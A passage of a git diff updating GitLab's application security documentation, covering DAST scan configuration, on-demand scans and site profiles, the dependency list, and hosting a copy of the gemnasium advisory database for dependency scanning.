`.gitlab-ci.yml` file: - variables: - DAST_WEBSITE: https://example.com - ``` + ```yaml + include: + - template: <template_file.yml> -- In GitLab 11.8 and earlier, copy the template's content into your `.gitlab_ci.yml` file. + variables: + DAST_WEBSITE: https://example.com + ``` -#### Template options + - In GitLab 11.8 and earlier, add the contents of the template to your + `.gitlab_ci.yml` file. -Running a DAST scan requires a URL. There are two ways to define the URL to be scanned by DAST: +1. Define the URL to be scanned by DAST by using one of these methods: -1. Set the `DAST_WEBSITE` [CI/CD variable](../../../ci/yaml/README.md#variables). + - Set the `DAST_WEBSITE` [CI/CD variable](../../../ci/yaml/README.md#variables). + If set, this value takes precedence. -1. Add it in an `environment_url.txt` file at the root of your project. - This is useful for testing in dynamic environments. To run DAST against an application - dynamically created during a GitLab CI/CD pipeline, a job that runs prior to the DAST scan must - persist the application's domain in an `environment_url.txt` file. DAST automatically parses the - `environment_url.txt` file to find its scan target. + - Add the URL in an `environment_url.txt` file at the root of your project. This is + useful for testing in dynamic environments. To run DAST against an application + dynamically created during a GitLab CI/CD pipeline, a job that runs prior to + the DAST scan must persist the application's domain in an `environment_url.txt` + file. DAST automatically parses the `environment_url.txt` file to find its + scan target. - For example, in a job that runs prior to DAST, you could include code that looks similar to: + For example, in a job that runs prior to DAST, you could include code that + looks similar to: - ```yaml - script: - - echo http://${CI_PROJECT_ID}-${CI_ENVIRONMENT_SLUG}.domain.com > environment_url.txt - artifacts: - paths: [environment_url.txt] - when: always - ``` - - You can see an example of this in our [Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml) file. + ```yaml + script: + - echo http://${CI_PROJECT_ID}-${CI_ENVIRONMENT_SLUG}.domain.com > environment_url.txt + artifacts: + paths: [environment_url.txt] + when: always + ``` -If both values are set, the `DAST_WEBSITE` value takes precedence. + You can see an example of this in our + [Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml) + file. The included template creates a `dast` job in your CI/CD pipeline and scans your project's running application for possible vulnerabilities. The results are saved as a -[DAST report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsdast) -that you can later download and analyze. Due to implementation limitations we +[DAST report artifact](../../../ci/yaml/README.md#artifactsreportsdast) +that you can later download and analyze. Due to implementation limitations, we always take the latest DAST artifact available. Behind the scenes, the [GitLab DAST Docker image](https://gitlab.com/gitlab-org/security-products/dast) -is used to run the tests on the specified URL and scan it for possible vulnerabilities. +is used to run the tests on the specified URL and scan it for possible +vulnerabilities. By default, the DAST template uses the latest major version of the DAST Docker image. Using the `DAST_VERSION` variable, you can choose how DAST updates: -- Automatically update DAST with new features and fixes by pinning to a major version (such as `1`). +- Automatically update DAST with new features and fixes by pinning to a major + version (such as `1`). - Only update fixes by pinning to a minor version (such as `1.6`). - Prevent all updates by pinning to a specific version (such as `1.6.4`). -Find the latest DAST versions on the [Releases](https://gitlab.com/gitlab-org/security-products/dast/-/releases) page. +Find the latest DAST versions on the [Releases](https://gitlab.com/gitlab-org/security-products/dast/-/releases) +page. ## Deployment options @@ -145,7 +162,7 @@ on how to configure Review Apps for DAST. If your application utilizes Docker containers you have another option for deploying and scanning with DAST. After your Docker build job completes and your image is added to your container registry, you can utilize the image as a -[service](../../../ci/docker/using_docker_images.md#what-is-a-service). +[service](../../../ci/services/index.md). By using service definitions in your `gitlab-ci.yml`, you can scan services with the DAST analyzer. @@ -154,7 +171,7 @@ stages: - build - dast -include: +include: - template: DAST.gitlab-ci.yml # Deploys the container to the GitLab container registry @@ -261,7 +278,7 @@ that you periodically confirm the scanner's authentication is still working as t time due to authentication changes to the application. Create masked CI/CD variables to pass the credentials that DAST uses. -To create masked variables for the username and password, see [Create a custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui). +To create masked variables for the username and password, see [Create a custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables). Note that the key of the username variable must be `DAST_USERNAME` and the key of the password variable must be `DAST_PASSWORD`. @@ -287,7 +304,7 @@ variables: ``` The results are saved as a -[DAST report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsdast) +[DAST report artifact](../../../ci/yaml/README.md#artifactsreportsdast) that you can later download and analyze. Due to implementation limitations, we always take the latest DAST artifact available. @@ -459,16 +476,14 @@ variables: #### Import API specification from a file -If your API specification is in your repository, you can provide the specification's -filename directly as the target. The specification file is expected to be in the -`/zap/wrk` directory. +If your API specification file is in your repository, you can provide its filename as the target. +The API specification file must be in the `/zap/wrk` directory. ```yaml dast: - script: + before_script: - mkdir -p /zap/wrk - cp api-specification.yml /zap/wrk/api-specification.yml - - /analyze -t $DAST_WEBSITE variables: GIT_STRATEGY: fetch DAST_API_SPECIFICATION: api-specification.yml @@ -486,6 +501,12 @@ host referenced may be different than the host of the API's review instance. This can cause incorrect URLs to be imported, or a scan on an incorrect host. Use the `DAST_API_HOST_OVERRIDE` CI/CD variable to override these values. +WARNING: +When using the API host override feature, you cannot use the `$DAST_WEBSITE` variable to override the hostname. +A host override is _only_ supported when importing the API specification from a URL. Attempts to override the +host throw an error when the API specification is imported from a file. This is due to a limitation in the +ZAP OpenAPI extension. + For example, with a OpenAPI V3 specification containing: ```yaml @@ -505,10 +526,6 @@ variables: DAST_API_HOST_OVERRIDE: api-test.host.com ``` -Note that using a host override is ONLY supported when importing the API specification from a URL. -It doesn't work and is ignored when importing the specification from a file. This is due to a -limitation in the ZAP OpenAPI extension. - #### Authentication using headers Tokens in request headers are often used as a way to authenticate API requests. @@ -526,7 +543,8 @@ variables: ### URL scan -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.4. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.4. +> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/273141) in GitLab 13.11. A URL scan allows you to specify which parts of a website are scanned by DAST. @@ -550,26 +568,19 @@ category/shoes/page1.html ``` To scan the URLs in that file, set the CI/CD variable `DAST_PATHS_FILE` to the path of that file. +The file can be checked into the project repository or generated as an artifact by a job that +runs before DAST. + +By default, DAST scans do not clone the project repository. Instruct the DAST job to clone +the project by setting `GIT_STRATEGY` to fetch. Give a file path relative to `CI_PROJECT_DIR` to `DAST_PATHS_FILE`. ```yaml include: - template: DAST.gitlab-ci.yml variables: - DAST_PATHS_FILE: url_file.txt -``` - -By default, DAST scans do not clone the project repository. If the file is checked in to the project, instruct the DAST job to clone the project by setting GIT_STRATEGY to fetch. The file is expected to be in the `/zap/wrk` directory. - -```yaml -dast: - script: - - mkdir -p /zap/wrk - - cp url_file.txt /zap/wrk/url_file.txt - - /analyze -t $DAST_WEBSITE - variables: - GIT_STRATEGY: fetch - DAST_PATHS_FILE: url_file.txt + GIT_STRATEGY: fetch + DAST_PATHS_FILE: url_file.txt # url_file.txt lives in the root directory of the project ``` ##### Use `DAST_PATHS` CI/CD variable @@ -584,7 +595,7 @@ include: - template: DAST.gitlab-ci.yml variables: - DAST_PATHS=/page1.html,/category1/page1.html,/page3.html + DAST_PATHS: "/page1.html,/category1/page1.html,/page3.html" ``` When using `DAST_PATHS` and `DAST_PATHS_FILE`, note the following: @@ -643,7 +654,7 @@ DAST can be [configured](#customizing-the-dast-settings) using CI/CD variables. | `DAST_MASK_HTTP_HEADERS` | string | Comma-separated list of request and response headers to be masked (GitLab 13.1). Must contain **all** headers to be masked. Refer to [list of headers that are masked by default](#hide-sensitive-information). | | `DAST_EXCLUDE_URLS` | URLs | The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. Not supported for API scans. | | `DAST_FULL_SCAN_ENABLED` | boolean | Set to `true` to run a [ZAP Full Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Full-Scan) instead of a [ZAP Baseline Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Baseline-Scan). Default: `false` | -| `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` | boolean | Set to `true` to require [domain validation](#domain-validation) when running DAST full scans. Not supported for API scans. Default: `false` | +| `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` | boolean | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/293595) in GitLab 13.8, to be removed in 14.0. Set to `true` to require [domain validation](#domain-validation) when running DAST full scans. Not supported for API scans. Default: `false` | | `DAST_AUTO_UPDATE_ADDONS` | boolean | ZAP add-ons are pinned to specific versions in the DAST Docker image. Set to `true` to download the latest versions when the scan starts. Default: `false` | | `DAST_API_HOST_OVERRIDE` | string | Used to override domains defined in API specification files. Only supported when importing the API specification from a URL. Example: `example.com:8080` | | `DAST_EXCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to exclude them from running during the scan. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://github.com/zaproxy/zaproxy/blob/develop/docs/scanners.md). For example, `HTTP Parameter Override` has a rule ID of `10026`. **Note:** In earlier versions of GitLab the excluded rules were executed but alerts they generated were suppressed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118641) in GitLab 12.10. | @@ -656,7 +667,7 @@ DAST can be [configured](#customizing-the-dast-settings) using CI/CD variables. | `DAST_INCLUDE_ALPHA_VULNERABILITIES` | boolean | Set to `true` to include alpha passive and active scan rules. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | | `DAST_USE_AJAX_SPIDER` | boolean | Set to `true` to use the AJAX spider in addition to the traditional spider, useful for crawling sites that require JavaScript. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | | `DAST_PATHS` | string | Set to a comma-separated list of URLs for DAST to scan. For example, `/page1.html,/category1/page3.html,/page2.html`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in GitLab 13.4. | -| `DAST_PATHS_FILE` | string | The file path containing the paths within `DAST_WEBSITE` to scan. The file must be plain text with one path per line and be in `/zap/wrk`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. | +| `DAST_PATHS_FILE` | string | The file path containing the paths within `DAST_WEBSITE` to scan. The file must be plain text with one path per line. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. | | `DAST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the login form or the password form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. | | `DAST_FIRST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the username form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. | | `DAST_ZAP_CLI_OPTIONS` | string | ZAP server command-line options. For example, `-Xmx3072m` would set the Java maximum memory allocation pool size. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | @@ -708,6 +719,22 @@ variables: DAST_ZAP_CLI_OPTIONS: "-config replacer.full_list(0).description=auth -config replacer.full_list(0).enabled=true -config replacer.full_list(0).matchtype=REQ_HEADER -config replacer.full_list(0).matchstr=Authorization -config replacer.full_list(0).regex=false -config replacer.full_list(0).replacement=TOKEN" ``` +### Bleeding-edge vulnerability definitions + +ZAP first creates rules in the `alpha` class. After a testing period with +the community, they are promoted to `beta`. DAST uses `beta` definitions by +default. To request `alpha` definitions, use the +`DAST_INCLUDE_ALPHA_VULNERABILITIES` CI/CD variable as shown in the +following configuration: + +```yaml +include: + template: DAST.gitlab-ci.yml + +variables: + DAST_INCLUDE_ALPHA_VULNERABILITIES: "true" +``` + ### Cloning the project's repository The DAST job does not require the project's repository to be present when running, so by default @@ -747,7 +774,7 @@ successfully run. For more information, see [Offline environments](../offline_de To use DAST in an offline environment, you need: -- GitLab Runner with the [`docker` or `kubernetes` executor](#prerequisites). +- GitLab Runner with the [`docker` or `kubernetes` executor](#prerequisite). - Docker Container Registry with a locally available copy of the DAST [container image](https://gitlab.com/gitlab-org/security-products/dast), found in the [DAST container registry](https://gitlab.com/gitlab-org/security-products/dast/container_registry). @@ -798,8 +825,9 @@ Alternatively, you can use the CI/CD variable `SECURE_ANALYZERS_PREFIX` to overr > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218465) in GitLab 13.2. > - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/218465) in GitLab 13.3. -> - The saved scans feature was [added](https://gitlab.com/groups/gitlab-org/-/epics/5100) in -> GitLab 13.9. +> - The saved scans feature was [introduced](https://gitlab.com/groups/gitlab-org/-/epics/5100) in GitLab 13.9. +> - The option to select a branch was [introduced](https://gitlab.com/groups/gitlab-org/-/epics/4847) in GitLab 13.10. +> - DAST branch selection [feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/322672) in GitLab 13.11. An on-demand DAST scan runs outside the DevOps life cycle. Changes in your repository don't trigger the scan. You must start it manually. @@ -811,6 +839,8 @@ An on-demand DAST scan: - Is associated with your project's default branch. - Is saved on creation so it can be run later. +In GitLab 13.10 and later, you can select to run an on-demand scan against a specific branch. + ### On-demand scan modes An on-demand scan can be run in active or passive mode: @@ -843,6 +873,7 @@ To run an on-demand scan, either: 1. From your project's home page, go to **Security & Compliance > On-demand Scans** in the left sidebar. 1. Complete the **Scan name** and **Description** fields. +1. In GitLab 13.10 and later, select the desired branch from the **Branch** dropdown. 1. In **Scanner profile**, select a scanner profile from the dropdown. 1. In **Site profile**, select a site profile from the dropdown. 1. To run the on-demand scan now, select **Save and run scan**. Otherwise select **Save scan** to @@ -877,6 +908,9 @@ To run a saved on-demand scan: 1. Select the **Saved Scans** tab. 1. In the scan's row select **Run scan**. + If the branch saved in the scan no longer exists, you must first + [edit the scan](#edit-an-on-demand-scan), select a new branch, and save the edited scan. + The on-demand DAST scan runs and the project's dashboard shows the results. ### Edit an on-demand scan @@ -911,6 +945,14 @@ A site profile contains the following: - **Profile name**: A name you assign to the site to be scanned. - **Target URL**: The URL that DAST runs against. +- **Excluded URLs**: A comma-separated list of URLs to exclude from the scan. +- **Request headers**: A comma-separated list of HTTP request headers, including names and values. These headers are added to every request made by DAST. +- **Authentication**: + - **Authenticated URL**: The URL of the page containing the sign-in HTML form on the target website. The username and password are submitted with the login form to create an authenticated scan. + - **Username**: The username used to authenticate to the website. + - **Password**: The password used to authenticate to the website. + - **Username form field**: The name of username field at the sign-in HTML form. + - **Password form field**: The name of password field at the sign-in HTML form. #### Site profile validation @@ -926,7 +968,7 @@ follows: - _Header validation_ requires the header `Gitlab-On-Demand-DAST` be added to the target site, with a value unique to the project. The validation process checks that the header is present, and checks its value. - + Both methods are equivalent in functionality. Use whichever is feasible. #### Create a site profile @@ -950,7 +992,9 @@ To edit an existing site profile: 1. In the profile's row select the **More actions** (**{ellipsis_v}**) menu, then select **Edit**. 1. Edit the fields then select **Save profile**. -The site profile is updated with the edited details. +If a site profile is linked to a security policy, a user cannot edit the profile from this page. See +[Scan Policies](../policies/index.md) +for more information. #### Delete a site profile @@ -962,7 +1006,9 @@ To delete an existing site profile: 1. In the profile's row select the **More actions** (**{ellipsis_v}**) menu, then select **Delete**. 1. Select **Delete** to confirm the deletion. -The site profile is deleted. +If a site profile is linked to a security policy, a user cannot delete the profile from this page. +See [Scan Policies](../policies/index.md) +for more information. #### Validate a site profile @@ -1084,7 +1130,9 @@ To edit a scanner profile: 1. Edit the form. 1. Select **Save profile**. -The scanner profile is updated with the edited details. +If a scanner profile is linked to a security policy, a user cannot edit the profile from this page. +See [Scan Policies](../policies/index.md) +for more information. #### Delete a scanner profile @@ -1096,7 +1144,9 @@ To delete a scanner profile: 1. In the scanner's row select the **More actions** (**{ellipsis_v}**) menu, then select **Delete**. 1. Select **Delete**. -The scanner profile is deleted. +If a scanner profile is linked to a security policy, a user cannot delete the profile from this +page. See [Scan Policies](../policies/index.md) +for more information. ## Reports @@ -1145,38 +1195,6 @@ dast: - gl-dast-report.json ``` -## Security Dashboard - -The Security Dashboard is a good place to get an overview of all the security -vulnerabilities in your groups, projects and pipelines. Read more about the -[Security Dashboard](../security_dashboard/index.md). - -## Bleeding-edge vulnerability definitions - -ZAP first creates rules in the `alpha` class. After a testing period with -the community, they are promoted to `beta`. DAST uses `beta` definitions by -default. To request `alpha` definitions, use the -`DAST_INCLUDE_ALPHA_VULNERABILITIES` CI/CD variable as shown in the -following configuration: - -```yaml -include: - template: DAST.gitlab-ci.yml - -variables: - DAST_INCLUDE_ALPHA_VULNERABILITIES: "true" -``` - -## Interacting with the vulnerabilities - -Once a vulnerability is found, you can interact with it. Read more on how to -[address the vulnerabilities](../index.md#addressing-vulnerabilities). - -## Vulnerabilities database update - -For more information about the vulnerabilities database update, check the -[maintenance table](../index.md#maintenance-and-update-of-the-vulnerabilities-database). - ## Optimizing DAST By default, DAST downloads all artifacts defined by previous jobs in the pipeline. If @@ -1188,70 +1206,3 @@ artifacts, add the following to your `gitlab-ci.yml` file: dast: dependencies: [] ``` - -## Troubleshooting - -### Running out of memory - -By default, ZAProxy, which DAST relies on, is allocated memory that sums to 25% -of the total memory on the host. -Since it keeps most of its information in memory during a scan, -it's possible for DAST to run out of memory while scanning large applications. -This results in the following error: - -```plaintext -[zap.out] java.lang.OutOfMemoryError: Java heap space -``` - -Fortunately, it's straightforward to increase the amount of memory available -for DAST by using the `DAST_ZAP_CLI_OPTIONS` CI/CD variable: - -```yaml -include: - - template: DAST.gitlab-ci.yml - -variables: - DAST_ZAP_CLI_OPTIONS: "-Xmx3072m" -``` - -Here, DAST is being allocated 3072 MB. -Change the number after `-Xmx` to the required memory amount. - -### DAST job exceeding the job timeout - -If your DAST job exceeds the job timeout and you need to reduce the scan duration, we shared some tips for optimizing DAST scans in a [blog post](https://about.gitlab.com/blog/2020/08/31/how-to-configure-dast-full-scans-for-complex-web-applications/). - -### Getting warning message `gl-dast-report.json: no matching files` - -For information on this, see the [general Application Security troubleshooting section](../../../ci/pipelines/job_artifacts.md#error-message-no-files-to-upload). - -### Getting error `dast job: chosen stage does not exist` when including DAST CI template - -Newer versions of the DAST CI template do not define stages in order to avoid -overwriting stages from other CI files. If you've recently started using -`DAST.latest.gitlab-ci.yml` or upgraded to a new major release of GitLab and -began receiving this error, you will need to define a `dast` stage with your -other stages. Please note that you must have a running application for DAST to -scan. If your application is set up in your pipeline, it must be deployed - in a stage _before_ the `dast` stage: - -```yaml -stages: - - deploy # DAST needs a running application to scan - - dast - -include: - - template: DAST.latest.gitlab-ci.yml -``` - -<!-- ## Troubleshooting - -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. - -Each scenario can be a third-level heading, e.g. `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> diff --git a/doc/user/application_security/dependency_list/img/dependency_list_v12_10.png b/doc/user/application_security/dependency_list/img/dependency_list_v12_10.png Binary files differdeleted file mode 100644 index 2755b42f1e4..00000000000 --- a/doc/user/application_security/dependency_list/img/dependency_list_v12_10.png +++ /dev/null diff --git a/doc/user/application_security/dependency_list/img/dependency_list_v13_11.png b/doc/user/application_security/dependency_list/img/dependency_list_v13_11.png Binary files differnew file mode 100644 index 00000000000..5b2bd985ce4 --- /dev/null +++ b/doc/user/application_security/dependency_list/img/dependency_list_v13_11.png diff --git a/doc/user/application_security/dependency_list/index.md b/doc/user/application_security/dependency_list/index.md index 6ed3b15d829..25b7615a8ae 100644 --- a/doc/user/application_security/dependency_list/index.md +++ b/doc/user/application_security/dependency_list/index.md @@ -26,7 +26,7 @@ To view your project's dependencies, ensure you meet the following requirements: ## View a project's dependencies - + GitLab displays dependencies with the following information: @@ -44,7 +44,8 @@ can also be sorted by name or by the packager that installed them. If a dependency has known vulnerabilities, view them by clicking the arrow next to the dependency's name or the badge that indicates how many known vulnerabilities exist. For each -vulnerability, its severity and description appears below it. +vulnerability, its severity and description appears below it. To view more details of a vulnerability, +select the vulnerability’s description. The [vulnerability's details](../vulnerabilities) page is opened. ### Dependency paths diff --git a/doc/user/application_security/dependency_scanning/index.md b/doc/user/application_security/dependency_scanning/index.md index f87ea8edc7b..53387acefef 100644 --- a/doc/user/application_security/dependency_scanning/index.md +++ b/doc/user/application_security/dependency_scanning/index.md @@ -105,7 +105,7 @@ include: The included template creates dependency scanning jobs in your CI/CD pipeline and scans your project's source code for possible vulnerabilities. The results are saved as a -[dependency scanning report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsdependency_scanning) +[dependency scanning report artifact](../../../ci/yaml/README.md#artifactsreportsdependency_scanning) that you can later download and analyze. Due to implementation limitations, we always take the latest dependency scanning artifact available. @@ -183,10 +183,11 @@ The following variables are used for configuring specific analyzers (used for a | `BUNDLER_AUDIT_ADVISORY_DB_URL` | `bundler-audit` | `https://github.com/rubysec/ruby-advisory-db` | URL of the advisory database used by bundler-audit. | | `BUNDLER_AUDIT_ADVISORY_DB_REF_NAME` | `bundler-audit` | `master` | Git ref for the advisory database specified by `BUNDLER_AUDIT_ADVISORY_DB_URL`. | | `GEMNASIUM_DB_LOCAL_PATH` | `gemnasium` | `/gemnasium-db` | Path to local Gemnasium database. | +| `GEMNASIUM_DB_UPDATE_DISABLED` | `gemnasium` | `"false"` | Disable automatic updates for the `gemnasium-db` advisory database (For usage see: [examples](#hosting-a-copy-of-the-gemnasium_db-advisory-database))| | `GEMNASIUM_DB_REMOTE_URL` | `gemnasium` | `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git` | Repository URL for fetching the Gemnasium database. | | `GEMNASIUM_DB_REF_NAME` | `gemnasium` | `master` | Branch name for remote repository database. `GEMNASIUM_DB_REMOTE_URL` is required. | | `DS_REMEDIATE` | `gemnasium` | `"true"` | Enable automatic remediation of vulnerable dependencies. | -| `DS_JAVA_VERSION` | `gemnasium-maven` | `11` | Version of Java. Available versions: `8`, `11`, `13`, `14`. Maven and Gradle use the Java version specified by this value. | +| `DS_JAVA_VERSION` | `gemnasium-maven` | `11` | Version of Java. Available versions: `8`, `11`, `13`, `14`, `15`. Maven and Gradle use the Java version specified by this value. | | `MAVEN_CLI_OPTS` | `gemnasium-maven` | `"-DskipTests --batch-mode"` | List of command line arguments that are passed to `maven` by the analyzer. See an example for [using private repositories](../index.md#using-private-maven-repositories). | | `GRADLE_CLI_OPTS` | `gemnasium-maven` | | List of command line arguments that are passed to `gradle` by the analyzer. | | `SBT_CLI_OPTS` | `gemnasium-maven` | | List of command-line arguments that the analyzer passes to `sbt`. | @@ -214,7 +215,7 @@ variables: -----END CERTIFICATE----- ``` -The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate. +The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate. ### Using private Maven repositories @@ -505,6 +506,50 @@ ensure that it can reach your private repository. Here is an example configurati setuptools.ssl_support.cert_paths = ['internal.crt'] ``` +## Hosting a copy of the gemnasium_db advisory database + +The [gemnasium_db](https://gitlab.com/gitlab-org/security-products/gemnasium-db) Git repository is +used by `gemnasium`, `gemnasium-maven`, and `gemnasium-python` as the source of vulnerability data. +This repository updates at scan time to fetch the latest advisories. However, due to a restricted +networking environment, running this update is sometimes not possible. In this case, a user can do +one of the following: + +- [Host a copy of the advisory database](#host-a-copy-of-the-advisory-database) +- [Use a local clone](#use-a-local-clone) + +### Host a copy of the advisory database + +If [gemnasium-db](https://gitlab.com/gitlab-org/security-products/gemnasium-db) is not reachable +from within the environment, the user can host their own Git copy. Then the analyzer can be +instructed to update the database from the user's copy by using `GEMNASIUM_DB_REMOTE_URL`: + +```yaml +variables: + GEMNASIUM_DB_REMOTE_URL: https://users-own-copy.example.com/gemnasium-db/.git + +... +``` + +### Use a local clone + +If a hosted copy is not possible, then the user can clone [gemnasium-db](https://gitlab.com/gitlab-org/security-products/gemnasium-db) +or create an archive before the scan and point the analyzer to the directory (using: +`GEMNASIUM_DB_LOCAL_PATH`). Turn off the analyzer's self-update mechanism (using: +`GEMNASIUM_DB_UPDATE_DISABLED`). In this example, the database directory is created in the +`before_script`, before the `gemnasium` analyzer's scan job: + +```yaml +... + +gemnasium-dependency_scanning: + variables: + GEMNASIUM_DB_LOCAL_PATH: ./gemnasium-db-local + GEMNASIUM_DB_UPDATE_DISABLED: "true" + before_script: + - mkdir $GEMNASIUM_DB_LOCAL_PATH + - tar -xzf gemnasium_db.tar.gz -C $GEMNASIUM_DB_LOCAL_PATH +``` + ## Limitations ### Referencing local dependencies using a path in JavaScript projects diff --git a/doc/user/application_security/img/adding_a_dismissal_reason_v13_4.png b/doc/user/application_security/img/adding_a_dismissal_reason_v13_4.png Binary files differdeleted file mode 100644 index 8e7bcf09428..00000000000 --- a/doc/user/application_security/img/adding_a_dismissal_reason_v13_4.png +++ /dev/null diff --git a/doc/user/application_security/img/create_mr_from_vulnerability_v13_4.png b/doc/user/application_security/img/create_mr_from_vulnerability_v13_4.png Binary files differindex 54ccfa24374..55694fc7926 100644 --- a/doc/user/application_security/img/create_mr_from_vulnerability_v13_4.png +++ b/doc/user/application_security/img/create_mr_from_vulnerability_v13_4.png diff --git a/doc/user/application_security/img/interacting_with_vulnerability_v13_3.png b/doc/user/application_security/img/interacting_with_vulnerability_v13_3.png Binary files differdeleted file mode 100644 index db698995469..00000000000 --- a/doc/user/application_security/img/interacting_with_vulnerability_v13_3.png +++ /dev/null diff --git a/doc/user/application_security/img/multi_select_v12_9.png b/doc/user/application_security/img/multi_select_v12_9.png Binary files differdeleted file mode 100644 index ec3648bff08..00000000000 --- a/doc/user/application_security/img/multi_select_v12_9.png +++ /dev/null diff --git a/doc/user/application_security/img/vulnerability_related_issues_text_box_tags_v13_2.gif b/doc/user/application_security/img/vulnerability_related_issues_text_box_tags_v13_2.gif Binary files differdeleted file mode 100644 index 562ffe7e329..00000000000 --- a/doc/user/application_security/img/vulnerability_related_issues_text_box_tags_v13_2.gif +++ /dev/null diff --git a/doc/user/application_security/index.md b/doc/user/application_security/index.md index b0457ec0690..1ba2161362c 100644 --- a/doc/user/application_security/index.md +++ b/doc/user/application_security/index.md @@ -178,43 +178,6 @@ authorization credentials. By default, content of specific headers are masked in reports. You can specify the list of all headers to be masked. For details, see [Hide sensitive information](dast/index.md#hide-sensitive-information). -## View details of an API Fuzzing vulnerability - -> Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.7. - -Faults detected by API Fuzzing occur in the live web application, and require manual investigation -to determine if they are vulnerabilities. Fuzzing faults are included as vulnerabilities with a -severity of Unknown. To facilitate investigation of the fuzzing faults, detailed information is -provided about the HTTP messages sent and received along with a description of the modification(s) -made. - -Follow these steps to view details of a fuzzing fault: - -1. You can view faults in a project, or a merge request: - - - In a project, go to the project's **{shield}** **Security & Compliance > Vulnerability Report** - page. This page shows all vulnerabilities from the default branch only. - - In a merge request, go the merge request's **Security** section and click the **Expand** - button. API Fuzzing faults are available in a section labeled - **API Fuzzing detected N potential vulnerabilities**. Click the title to display the fault - details. - -1. Click the fault's title to display the fault's details. The table below describes these details. - -| Field | Description | -|:-----------------|:------------------------------------------------------------------ | -| Description | Description of the fault including what was modified. | -| Project | Namespace and project in which the vulnerability was detected. | -| Method | HTTP method used to detect the vulnerability. | -| URL | URL at which the vulnerability was detected. | -| Request | The HTTP request that caused the fault. | -| Unmodified Response | Response from an unmodified request. This is what a normal working response looks like. | -| Actual Response | Response received from fuzzed request. | -| Evidence | How we determined a fault occurred. | -| Identifiers | The fuzzing check used to find this fault. | -| Severity | Severity of the finding is always Unknown. | -| Scanner Type | Scanner used to perform testing. | - ## Addressing vulnerabilities > Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.8. @@ -265,15 +228,7 @@ If you already have an open issue, you can link to it from the vulnerability. To link to an existing issue: 1. Open the vulnerability. -1. In the **Related Issues** section, select the plus (**{plus}**) icon. -1. In the text box that appears, type an issue number or paste an issue link. - - Type `#` followed by a number to show an autocomplete menu. - - You can enter multiple issues at once. Press the space bar after each issue number or link to converts them to tags. -1. Select **Add**. - -To remove an issue, to the right of the issue number, select **{close}**. - - +1. [Add a linked issue](../project/issues/related_issues.md). ### Apply an automatic remediation for a vulnerability @@ -311,7 +266,7 @@ request created to automatically solve the issue. If this action is available: 1. Select the **Resolve with merge request** dropdown, then select **Resolve with merge request**. - +  A merge request is created. It that applies the solution to the source branch. @@ -407,7 +362,7 @@ to pass a username and password. You can set it under your project's settings so that your credentials aren't exposed in `.gitlab-ci.yml`. If the username is `myuser` and the password is `verysecret` then you would -[set the following variable](../../ci/variables/README.md#create-a-custom-variable-in-the-ui) +[set the following variable](../../ci/variables/README.md#custom-cicd-variables) under your project's settings: | Type | Key | Value | @@ -616,9 +571,8 @@ Instructions are available in the [legacy template project](https://gitlab.com/g This is the current default behavior, because the job's status indicates success or failure of the analyzer itself. Analyzer results are displayed in the [job logs](../../ci/jobs/index.md#expand-and-collapse-job-log-sections), -[Merge Request widget](sast/index.md) +[Merge Request widget](#view-security-scan-information-in-merge-requests) or [Security Dashboard](security_dashboard/index.md). -There is [an open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/235772) in which changes to this behavior are being 